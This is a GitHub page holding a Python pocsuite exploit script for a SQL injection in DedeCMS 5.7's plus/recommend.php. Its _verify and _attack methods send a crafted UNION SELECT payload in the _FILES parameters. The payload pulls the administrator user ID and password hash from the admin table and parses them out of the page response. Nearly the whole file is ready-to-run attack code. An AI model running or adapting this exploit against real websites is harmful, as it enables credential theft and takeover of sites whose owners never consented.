-
Notifications
You must be signed in to change notification settings - Fork 57
/
dede_recommend.php_sqli.py
72 lines (57 loc) · 2.36 KB
/
dede_recommend.php_sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
#!coding: utf-8
import re
from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register
class Fuckdede(POCBase):
vulID='3'
version = '1'
author = ['fengxuan']
vulDate = '2016-2-20'
createDate = '2016-2-20'
updateDate = '2016-2-20'
references = ['http://www.evalshell.com', 'http://www.cnseay.com/3714/']
name = 'dedecms plus/recommend.php 注入漏洞利用EXP'
appPowerLink = 'http://www.dedecms.cn/'
appName = 'dedecms'
appVersion = '5.7'
vulType = 'SQL Injection'
desc = '''
开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接
带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。
此注入为报错注入,可以通过UpdateXML函数进行注入。
'''
samples = ['']
def _verify(self):
result = {}
target = self.url + "plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294"
response = req.get(target)
content = response.content
regex = re.compile('<h2>.*?\|(.*?)</h2>')
data = regex.search(content)
if data != None:
result = {'VerifyInfo':{}}
result['VerifyInfo']['URL'] = self.url
return self.parse_result(result)
def _attack(self):
result = {}
target = self.url + "plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294"
response = req.get(target)
content = response.content
regex = re.compile('<h2>.*?\|(.*?)</h2>')
data = regex.search(content)
if data != None:
string = data.groups()
result = {'VerifyInfo':{}}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['data'] = string
return self.parse_result(result)
def parse_result(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("Internet Nothing returned")
return output
register(Fuckdede)